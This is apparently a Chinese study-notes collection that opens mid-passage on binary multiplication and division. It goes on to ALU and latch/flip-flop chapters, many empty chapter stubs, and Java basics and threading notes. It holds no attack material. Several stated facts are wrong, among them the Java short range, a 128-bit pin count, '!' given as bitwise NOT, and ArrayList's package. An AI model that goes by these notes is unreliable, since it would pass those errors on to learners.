11部分积右移一位
  • 为什么要右移？
    • 往上划到逐位相乘的例子，计算部分积的时候，低位往往不受高位的数值影响（看上面的竖式更容易理解）：
      • 计算完 0011，此时部分积为 0011，此后最右边的 1 不受后面计算的影响。
      • 计算完 0011 + 0000#，此时部分积为 0011，此后最右边的 11 不受后面计算的影响。
      • 计算完 0011 + 0000# + 0011##，此时部分积为 1111，此后最右边的 111 不受后面计算的影响。
      • 以此类推。
    • 因为不受高位的影响，所以可以右移将低位挤掉，使部分积与被乘数对齐，这样可以直接计算。
  • 部分积 - X补码 怎样计算？
    • 回忆一下第四章：减法在二进制计算机里的定义是，加上 减数取反后的数值，再加一
  • 为什么移位规则里， 01 和 10 的规则，一个正一个负？
    • 因为 10 表示连续 1 的开始，对应 - M × 23，01 表示连续 1 的结束，对应 M × 26
    • 而上述 23 和 26，已经在移位中解决了，所以只用加减 X补码

思考题 1

　　对一个数的补码再求补码，等于该数的原码吗？

移位

　　我们没有介绍过移位，但应该能想到，上面逐位相乘的移位，最简单的方式，就是在最后一位后面补零，同时丢掉最高位（以上述竖式的中间结果为例）：0011 不补零，0000 补一个，0011 补两个。

　　而在对有符号数进行移位时，特别是右移，最高位需要补上符号位 。也就是说：对 1010 进行右移，结果应该为 1101。

思考题 2

　　我们现在只有加法器，应该怎样移位和补位？以及， 设计一个最简单的乘法器，真的需要移位吗？

除法

本质

　　除法是乘法的逆运算，本质是反复减法。

　　例如，我们要计算 12 ÷ 3，可以看作是不断从 12 中减去 3 直到不能再减为止：

12 - 3 = 9
9 - 3 = 6
6 - 3 = 3
3 - 3 = 0

　　因此，得到结果 4，也即减去的次数。

　　此实现需要进行多次减法运算，效率低下。为了提高运算效率，我们需要更高效的算法。

长除法

　　长除法是我们平常手算除法的方式：先将被除数的高位和除数对齐，然后用除数去除被除数，得到商和余数，再将余数和下一位对齐，继续除，直到被除数的所有位都处理完毕或者余数为 0。以 1011012 ÷ 1012 为例：

      1001
    _______
101)101101
    101
    _______
       101
       101
    _______
         0

　　短除法的复杂程度与位数成正比。除数位数越大，长除法效率越低。

　　计算机底层可以实现更高效的除法算法（牛顿迭代法、二分法等），但是否实现取决于成本，高效除法比较复杂，此处略去不讲。

　　长除法通常使用移位和减法来实现，也被称为 位移除法 （向左移位再相减）。

小结

知识点

  • 乘法
    • 本质
    • 逐位相乘
    • Booth 算法（对逐位相乘的优化）
  • 除法
    • 本质
    • 长除法

参考资料

推荐

思考题答案（仅供参考）

思考题 1

　　回想一下，补码究竟是怎样推导出来的——相反数相加为零。所以，对一个数的补码再求补码，其实就是对一个数的相反数再求相反数，其结果必然等于自身。

　　二进制中，特殊在于：

  • 减法的定义为：加上 该数取反后的数值，再加一
  • 负数的定义为：该数取反后的数值，再加一

　　这两种说法本质上是相同的：- X，可以是 X 的负数，也可以是 0 减去 X。 有趣的地方在于：

  • 如果我们将 X 按照定义进行两次求补，也即 ~(~X + 1) + 1，它并不等于 X + ~1 + 1

思考题 2

  1. 移位可以使用 or 和 xor 门，也可以将输入直接与输出错位相连。错位直接相连肯定比使用逻辑门效率更高，速度更快（图源：Wikipedia）。

  1. 其实最简单的乘法器不需要移位，只需要错位相加，当中错位可以让低位直接输出（图源：BiliBili 硬件茶谈）。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第六章：算术逻辑单元

复习

  • 第一章：希望造出一台计算机。
  • 第二章：这台计算机需要供能，输入，输出和处理过程。
  • 第三章：利用电能和布尔代数，造出了一个加法器。
  • 第四章：引入有符号数，介绍原码、反码和补码，使计算机可以表示负数和运算减法。
  • 第五章：介绍乘法与除法，并尝试从原理上优化效率过慢的问题。

正文

组成

　　回想一下，现在有了什么：加法，减法，乘法，除法。可以做一些基础的运算了。除此之外，还有一些逻辑操作：与，或，非，异或，移位等等。

　　注意，花十秒钟想一下，上面那些东西是怎么来的。如果不能清楚明白地了解其组成和原理，说明还没有学懂，建议回头再看一次。 这里简单提示一下：

  1. 晶体管组成逻辑门（与，或，非，异或等）；
  2. 部分逻辑门的计算逻辑与加法一致，所以组成加法器；
  3. 分出一位作为符号，在逻辑上弥补二进制减法的问题，使用 模 诱骗加法器在形式上做减法，形成减法器；
  4. 用加法器和减法器，组成乘法器和除法器，如果愿意，其中可以有移位器。

　　利用上面的模块，一个简单的 ALU（Arithmetic Logic Unit，算术逻辑单元）就产生了。

　　对，只有这么简单了。 可以把加法器、减法器、乘法器、除法器、逻辑门和移位器，封在一个更大的模块里面。这，就是 ALU。

　　在《第三章：简单逻辑门》里，我们造出了一个简单的 8 位串行加法器：

　　因为连线过于复杂，所以我们简化为这样：

　　我们将以上面的图作为基础。

功能

　　一个典型的 ALU，起码有以下的基础功能：

  • 加法
  • 带进位加法
  • 减法
  • 带借位减法
  • 取相反数
    • 实现：用一个减法器，用 0 减去操作数即可。
  • 增量器
    • 功能：将一个数值 +1。
    • 实现：用一个加法器固定 +1 即可。
  • 减量器
    • 功能：将一个数值 -1。
    • 实现：用一个减法器固定 -1 即可。
  • 不做任何操作

　　所有上面的操作，我们可以实现。所以，在计算机的世界中，有了加法器，几乎等于有了一切。

　　图上有几点需要注意：

  • Overflow，溢出，表示两个操作数的运算结果已经超出了计算机能表示的上限
  • Zero，零位，计算结果为零则为真
  • Navigate，负位，计算结果为负则为真

　　是不是发现没有乘法器和除法器？ 对，实际上在简单的 ALU 中，根本就没有专用的乘除法模块，因为造价太高。替代方案是，乘法拆成多次加法，除法拆成多次减法。

　　这个事实可以让人感受到： 工科并不都是一板一眼，可以根据现实情况灵活选择。 我们是这台计算机的制造者，完完全全掌握着所有细节——可以根据实际情况，酌情选择最恰当的方案。

优化

　　上面那张图的 ALU，简单，但是太笨了。接下来一步一步复用模块，尝试去优化。

　　因为减法器实际上里面包含有加法器，所以，这两个模块可以合并，添加额外的逻辑门进行控制即可。

　　而减法器里面又包含有增量器，所以也可以合并。

　　接下来几张图，就表示了其优化过程。

思考题

　　如果我们把所有的功能，都优化到了一个加法器上，会不会产生性能问题？毕竟所有的计算都堆到了它身上。

小结

知识点

  • ALU（Arithmetic Logic Unit，算术逻辑单元）
    • 组成
    • 功能
    • 优化

参考资料

推荐

思考题答案（仅供参考）

　　答案是肯定会产生性能问题。如果那唯一的一个加法器出现故障（如晶体管短路、开路、击穿或电平失真），整个 ALU 不说性能问题，功能都会产生问题。

　　还是那句话，怎样平衡取决于设计者自己的选择。 就像第一张图，虽然成本高昂，但是其中一个功能模块损坏并不会引起整个 ALU 的瘫痪。

　　记住，你是这台计算机的设计者，怎样平衡完完全全取决于你自己的选择。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第七章：存储器

复习

  • 第二章：这台计算机需要供能，输入，输出和处理过程。
  • 第三章：利用电能和布尔代数，造出了一个加法器。
  • 第四章：引入有符号数，介绍原码、反码和补码，使计算机可以表示负数和运算减法。
  • 第五章：介绍乘法与除法，并尝试从原理上优化效率过慢的问题。
  • 第六章：组成算术逻辑单元，负责计算，模块化。

正文

引子

　　计算功能设计完成，但是哪怕一次微小扰动，都会使最终的结果立即变化。所以，为了保存中间结果，接下来需要一个东西，将其存起来。

锁存器

首尾相连

　　回想一下，非门将输入取反。那如果首尾相接会怎么样？非门会直接短路吗？

　　正如上面的图所示，非门不仅不会短路，而且输出会一直在 0 和 1 之间跳动。这是一个非常有意思的事情。 利用这个性质可以做一个简单的时钟。

　　时钟 就是字面意思，就像一个钟表一刻一刻地走， 用来标记时序 ，但现实时钟有 12 个单位，会从 1 走到 12 然后归位，而二进制时钟只有 2 个单位，所以 时钟会一直在 0 和 1 中间跳变，永不停息 。

　　之所以是简单的时钟，是因为当逻辑门叠加越多，其延迟越高。 而非门首尾相连构成的时钟跳变速度极快，其他逻辑部件（如加法器、乘法器、锁存器、触发器和选择器等）变化跟不上。简单起见，我们假设所有部件跳变速度一致，不存在这个问题。

　　那与门和或门各自首尾相连，会有什么效果呢？

　　与门和或门在某次输入一个信号之后，无论怎样改变输入值，都不会再改变输出值了。也就是说，有个信号“触发”了变化。

　　这给了我们一个很重要的启示： 逻辑门可以首尾相连，达到意想不到的效果。

AND-OR 锁存器

　　接下来我们把三大逻辑门按照下面的顺序，连接起来，形成一个奇怪的结构，研究它的真值表。

  • 结构

  • 真值表
设置端 S(et)重置端 R(eset)输出 Y
00上一次的输出 Y
010
101
110

　　当 S = 0 并且 R = 0 时，下一次的输出 Y 取决于图中或门的另一个引脚，而该引脚连接到了上一次的输出 Y。所以，下一次的输出 Y 等于上一次的输出 Y。 换句话说，当 S = 0 并且 R = 0 时，这个结构锁住了输入的值。

  • 如果觉得不好理解，把三种情况列出来就明白了：
  • 当 S = 1 , R = 0 变为 S = 0, R = 0 时，之前的输出 Y 为 1，变化后为 1，之后也一直为 1
  • 当 S = 0, R = 1 变为 S = 0, R = 0 时，之前的输出 Y 为 0，变化后为 0，之后也一直为 0
  • 当 S = 1 , R = 1 变为 S = 0, R = 0 时，之前的输出 Y 为 0，变化后为 0，之后也一直为 0

　　所以，这个结构，具有记忆和存储的功能。取名为：AND-OR 锁存器。

D 锁存器

　　上面的设计虽然达到了目的，但还是有些复杂，所以，我们打算只用两个输入端：D(Data) 为数据端，WE(Write Enable，允许写入) 为控制端。

　　功能为： 当 WE 为 1 时，输出 Y 的值等于输入端 D 的值；当 WE 为 0 时，不允许写入，输出 Y 的值为上一次输出的值。

触发器

SR 触发器

　　上述 AND-OR 锁存器可以采取另一种逻辑门实现方案，如下所示：

　　注意，图中是 nand，也即与非门，从晶体管的角度来说，nand 门要更划算（详见第三章：简单逻辑门的补充部分）。

　　这个东西有另一个名字：SR 触发器。SR 触发器有两个输入端：S(Set) 为设置端，R(Reset) 为重置端。

  • 特征方程（输出公式）：Qnext = S + R · Q，且 R · S = 0
    • R
      • 意为 R 的反相，即 R 取反后的值，读作：R 反
      • 部分教程写作 R'，写法不同，效果相同
    • R · S
      • 意为 R 与 S，也意为 R 和 S 取 交集
      • 离散数学和集合论术语，等同于 R ∧ S
      • 在二进制运算上可以 一定程度上 等同于 乘法 运算
    • R + S
      • 同理， 意为 R 或 S，也意为 R 和 S 取 并集
      • 离散数学和集合论术语，等同于 R ∨ S
      • 在二进制运算上可以 一定程度上 等同于 加法 运算
    • 运算优先级，同十进制加法和乘法运算法则：先乘后加，括号先算
    • 后文真值表中 X 为 无意义 或者 任意值均可
  • 状态转移表
SRQnext动作
00Q保持
010重置
101设置
11X不允许的输入
  • 激励表（专业术语，意为上一个输出怎样 影响或激励 下一个输出，所以 Q 在前）
QQnextSR
00X0
0110
1001
11X0

电平触发和边沿触发

　　感觉一切都很完美了。 但是如果输入的信号并不是期望的信号，而是被干扰的信号呢？ 比如，希望输入 1，但在传输过程中，由于发热或者噪声等原因，导致电子能量逐渐减弱，降到门电压阈值之下，被逻辑门看作了 0。那么输出不就全错了？

　　为此，计算机科学家们设计了根据时钟跳变变化的的边沿触发。边沿是指 1 跳变为 0 或 0 跳变为 1 的一瞬间。根据跳变的方向不同，可以分为上升沿和下降沿，因此触发器也分为上升沿触发和下降沿触发。

　　边沿触发可以有效解决传输错误的问题。电平只有在单方向跳变时才发生改变，所以电平被干扰和电平反方向跳变均不会引起改变。

D 触发器

　　改造上述的 D 锁存器，改为边沿触发。同样，两个输入端：D(Data) 为数据端，但 WE(Write Enable，允许写入) 改为 Clk(Clock，时钟脉冲) 作为信号端，接受一个上升沿或下降沿作为有效输入，其他时间无论高电平和低电平，均视为不允许写入。

　　D 触发器的功能是： 当每一个上升沿或下降沿触发 Clk 端时，将 D 端目前的值输出并锁存。

  • 特征方程（输出公式）：Qnext = D
  • 真值表
DClkQQnext
0↑（上升沿）X0
1↑（上升沿）X1
X0 或 100
X0 或 111

JK 触发器

　　JK 触发器过于复杂，此处不展开。只贴出其原理图、真值表和输出公式，感兴趣的读者可以自行推导。

  • 原理图

  • 特征方程（输出公式）：Qnext = K · Q + J · Q
  • 状态转移表
JKClk动作Qnext
00↑保持Q
01↑重置0
10↑设置1
11↑反转Q
XX0 或 1保持Q
  • 激励表
QQnext动作JK
00不变0X
01设置1X
10重置X1
11不变X0

存储器

　　将上面的锁存器或触发器连接起来，可以形成存储器。

简单排列

　　简单堆叠 8 个、16 个、32 个、64 个锁存器或触发器，可形成 8 位、16 位、32 位、64 位的存储器。

　　然而，这种方式，位宽越大，成本越高。因为需要的引脚翻倍增长。

  • 8 位引脚数：1（允许写入）+ 8（数据输入）+ 8（数据输出）= 17
  • 16 位引脚数：1（允许写入）+ 16（数据输入）+ 16（数据输出）= 33
  • 32 位引脚数：1（允许写入）+ 32（数据输入）+ 32（数据输出）= 65
  • 64 位引脚数：1（允许写入）+ 64（数据输入）+ 64（数据输出）= 129
  • 128 位引脚数：1（允许写入）+ 129（数据输入）+ 128（数据输出）= 257
  • 256 位引脚数：1（允许写入）+ 256（数据输入）+ 256（数据输出）= 513

　　现代计算机大多都有 64 位，这样的成本不可接受。

矩阵排列

　　将锁存器或触发器呈矩阵排列可以解决上述问题。

小结

知识点

  • 时钟
  • 锁存器
    • AND-OR 锁存器
    • D 锁存器
  • 边沿触发
  • 触发器
    • SR 触发器
    • D 触发器
    • JK 触发器
  • 存储器

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第八章：控制器

复习

  • 第三章：利用电能和布尔代数，造出了一个加法器。
  • 第四章：引入有符号数，介绍原码、反码和补码，使计算机可以表示负数和运算减法。
  • 第五章：介绍乘法与除法，并尝试从原理上优化效率过慢的问题。
  • 第六章：组成算术逻辑单元，负责计算，模块化。
  • 第七章：组成简单存储器，负责存储中间值，模块化。

正文

尝试自动化

　　组成了这么多元器件，下一步，可以真正尝试让计算自动化了。

　　首先需要一个加法器。

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第九章：指令系统

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十章：中央处理器

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十一章：总线

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十二章：指令流水线

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十三章：输入输出系统

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十四章：计算机组成原理

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十五章：汇编语言

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十六章：高级语言

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十七章：程序与编译

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十八章：程序竞争

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第十九章：进程

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十章：死锁

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十一章：存储器管理

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十二章：设备管理

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。共享署名-非商业性使用-相同方式共享 4.0 国际许可协议](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)进行许可

第二十三章：文件与文件系统

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十四章：操作系统

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十四章（附加）：操作系统加载

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十五章：尝试互联

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十六章：协议分层

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十七章：路由跳转

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十八章：路径选择

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二十九章：路由洪泛与广播

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十章：数据包的封装与拆解

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十一章：状态码与协议森林

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十二章：计算机网络

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十三章：数据结构与算法综述

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十四章：数据结构

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十五章：算法

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十六章：从字符串变为程序

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十七章：词法分析

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十八章：语法分析

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三十九章：中间代码生成

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第四十章：代码优化

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第四十一章：目标代码生成

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第四十二章：操作系统装载

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第四十三章（终章）：计算机极简入门指南总览

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章一：大数据

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章二：数据加密

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章三：区块链

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章四：人工智能

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章五：数据备份

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章六：量子计算机

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章七：晶体管

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章八：数据一致性

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章九：信息科学与数学

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章十：测试

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章十一：漏洞与病毒

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章十二：永不止息的安全与攻防

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

附加章十三（终章）：计算机科学的未来

复习

正文

小结

知识点

参考资料

思考题答案（仅供参考）

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

Java

基本知识

8种基本数据类型

数据类型占位表示范围其他
byte1B-128~+127
short2B-65536~+65535
int4B-2^31~+2^31-1默认
long8B-2^63~+2^63-1需要在数据最后加L或l
float4B需要在数据最后加F或f
double8B默认
boolean1Btrue或false
char2B所有unicode字符可以表示所有汉字+emoji

为什么表示范围负数会比正数多1位：

正数用0表示，负数用1表示

原码：9 -> 01001，-9 -> 11001

原码有+0和-0之分

反码：正数同原码，负数是原码除符号位之外其余位数取反(1变0，0变1)。反码也有+0和-0之分

补码：正数同原码，负数是原码除符号位之外其余位数取反+1，补码没有+0和-0之分

补码：

+0: 0 00000

-0: 1 00000 -> 10 00000 -> 0 000000

-0：在补码中表示数轴上最小的那一位 十进制转换为二进制：

  1. 整数部分: 除基取余，余数逆置
  2. 小数部分: 乘基取整，整数顺置

二进制转换为十进制：

  • 当成科学计数法直接相加

二进制转换为八进制：

  • 3个二进制位联合起来转换成8进制

二进制转换为十六进制：

  • 4个二进制位联合起来转换成16进制

八进制转换为十六进制：

  • 通过二进制转换

对象和数组

Java中数组里存放的如果是基本数据类型，那么数值就是基本类型的数值；如果是引用对象，那么数值就是这个引用对象在内存当中的地址

数据运算

+, -, *, /, %同C语言

+=, -=, *=, /=, %=不讲

逻辑运算

&&, ||, !, ==同C语言

&, | 这两个运算符不短路

位运算

&：按位与                                同1为1，有0为0

|：按位或                                有1为1，同0为0

!：按位取反                         变0为1，变1为0

^：异或                                        不同为1，相同为0

任何数与0异或不变，与1异或取反，与自身异或为0

控制流程

if - else

for

while

do - while

switch - case：case穿越，即匹配到第一个case之后，如果没有遇到break会一直执行其他的case，直到遇到break或者执行完为止；

标签：大写字符+冒号

break和continue：默认只控制一层循环，如果有标签可以控制跳出标签

面向对象

面向对象三大特性

  • 封装

  • 由来：通过封装可以使得代码耦合度降低，减少代码改动

  • 关键字：public, protected, private, 默认(什么都不写)

  • public：公共访问，所有人都可以访问

  • protected：只有自己内部和同包的其他类以及不同包的子类可以访问

  • 默认：只有自己内部和同包的其他类可以访问

  • private：只有自己内部可以访问

包：其实就是文件夹

  • 其他：

  • static：声明一个方法或者一个变量属于这个类，而不是属于这个类的对象；

  • 继承

  • 由来：通过一个类制造另一个类，使得父类中的方法和变量可以被子类覆盖。

  • 关键字：extends

  • 其他：final：对于基本数据类型变量来说，其值不可更改，对于引用数据类型变量来说，其引用的对象不能变成另一个对象，但是对象里面的值可以更改。对于方法来说，这个方法不能被重写

重写：发生在父类和子类之间，方法名称要相同，方法返回值要相同，方法的参数类型和个数要相同

重载：发生在一个类的内部，方法名称要相同，方法返回值不能作为重载的标准，方法的参数类型和个数要不同

  • 多态

  • 由来：通过父类的引用对象指向子类的变量。引用对象调用非静态方法的时候是调用子类的方法，除此之外，引用对象调用普通变量，静态变量，静态方法都是调用父类的。

  • 好处：如果需要替换实现类的时候只用替换变量，不需要作其他改动；

构造器和方法的定义

构造器

构造器和类名要相同，构造器可以接受多个参数，构造器可以重载。构造器是制造对象的唯一途径；

如果没有自己写构造器，那么系统过自己分配一个无参构造器，如果自己写了构造器，那么系统不会自动分配。

方法的定义

访问控制符+(static)+(final)+返回值+方法名称+(形参类型 形参变量1,形参类型 形参变量2...)

集合

List

  • 集合有序

数组和链表

数组

  • 物理位置连续；
  • 可以随机访问；
  • 查找快，增删慢；

链表

  • 物理位置不连续；
  • 不能随机访问，只能顺序访问；
  • 增删快，查找慢；

常用的List

  • ArrayList
    • 底层实现为数组；
    • 特性为数组的特性；
  • LinkedList
    • 底层实现是链表；
    • 特性为链表的特性；

Map

  • 一对一，键值对(entry)，key-value；
  • 底层实现是通过数组+链表+哈希算法；
    • 哈希算法：哈希算法是一种散列算法，可以通过数据算出数据的特征值；
      • MD5，SHA1；
      • 计算key的hash值，value不计算，纯粹用来存放数据；
      • 通过哈希算法算出特征值之后，根据特征值计算存放的位置；
      • 位置不是固定的，会根据桶的大小确定；
    • 如果出现key重复，那么后面的map键值对会把前面的顶掉；
  • 键值对对应，但是键值对之间的顺序不是固定的；
  • 速度很快

常用的Map

HashMap

LinkedHashMap

  • 键值对有序；
  • 有序的原理是维护了一个额外数组，通过数组记住他们的相对位置；

Set

  • 无序，元素不重复的集合
  • Set底层是通过Map实现的，Set把Map的value隐藏起来了；

常用的Set

  • HashSet

Java Threads

说明

以下知识点均基于 BiliBili 的 up 主 ==遇见狂神说== 的教学视频。

其个人主页： https://space.bilibili.com/95256449

线程的三种编写方式

  1. 继承 Thread 类；（不推荐
  2. 实现 Runnable 接口，然后开线程，把实现后的接口丢进去；（推荐
  • 示例：
new Thread(implementInterfaceName, "name").start;
  1. 实现 Callable 接口，实现较为复杂，暂作为了解；

静态代理模式

线程的其它知识

线程的停止

  1. 执行足够次数；
  2. 定义一个线程体使用的标识，在线程体中使用这个标识，当外界有方法使其标识为 false 的时候，线程即停止运行；

线程休眠

==每一个对象都有一个锁， sleep 不会释放锁。==

Thread.sleep([time]);

线程礼让

Thread.yield();

礼让即正在执行的线程将资源让出来，与其它线程再次一起竞争。

但是礼让不一定成功，主要看 CPU 的调度。

线程强制执行

threadName.join();

可以在其他线程执行途中使其强制挂起，执行完此线程，然后原线程才能继续执行。

想象为插队。

设置线程优先级

线程的优先级用数字表示,范围从1~10。

// Thread.MIN_PRIORITY = 1
// Thread.MAX_PRIORITY = 10
// Thread.NORM_PRIORITY = 5
theadName.setPriority([int, or constant])

==但是优先级再高也有可能不先执行，全靠 CPU 调度。只是说先执行的概率会大一点。==所以就有可能引起性能倒置的问题（即一个优先级高的线程等待一个优先级低的线程释放锁）。

守护线程( Daemon Thread )

线程分为用户线程和守护线程。

虚拟机必须保证用户线程执行完毕，但是不用等待守护线程执行完毕。如后台记录操作日志，监控内存，垃圾回收 (Garbage Collection) 等等都是守护线程。

threadName.setDaemon(true);

线程同步

即多个线程操作同一个资源。同步关键词 ==synchronized== 。线程同步是并发问题的一种解决方法。

同步方法及同步块

synchronized 默认锁的是 this (即产生这个对象的类本身), 可以加在方法上，但是这个方法需要进行增删改查。这样即构成同步方法。

synchronized 还可以锁住任何一个对象，只要加在括号里面就可以。这个对象必须涉及到多线程里的增删改查，然后把操作修改的业务代码丢进大括号里，即构成同步块。

//同步方法
private synchronized void aMethod(String params...){ // do something }
  
synchronized ( [Object] ) { // do something to update this Object }

CopyOnWriteArrayList

是一个线程安全的 ArrayList ，在 java.util.concurrent 包下，而经常用的 ArrayList 是不安全的，位于 java.util.List 包下。

死锁

两个线程持有对方线程需要的资源，但又不愿意释放而导致的程序卡死的情况，称为死锁。

Lock 锁

java.util.concurrent.locks.Lock接口是控制多个线程对共享资源进行访问的工具。锁提供了对共享资源的独占访问,每次只能有一个线程对Lock对象加锁，线程开始访问共享资源之前应先获得Lock对象。

ReentrantLock 类实现了Lock,它拥有与 synchronized相同的并发性和内存语义，在实现线程安全的控制中，比较常用的是 Reentrantlock,可以显式加锁、释放锁。

例子：

class Name implements Runnable{
  private final ReentrantLock lock = new ReentrantLock();

 public void aMethod(){
   try{
     lock.lock();                                                       //important
     // do something
   } finally {
     lock.unlock();                                                     //important
   }
 }
}

public class AnotherName{
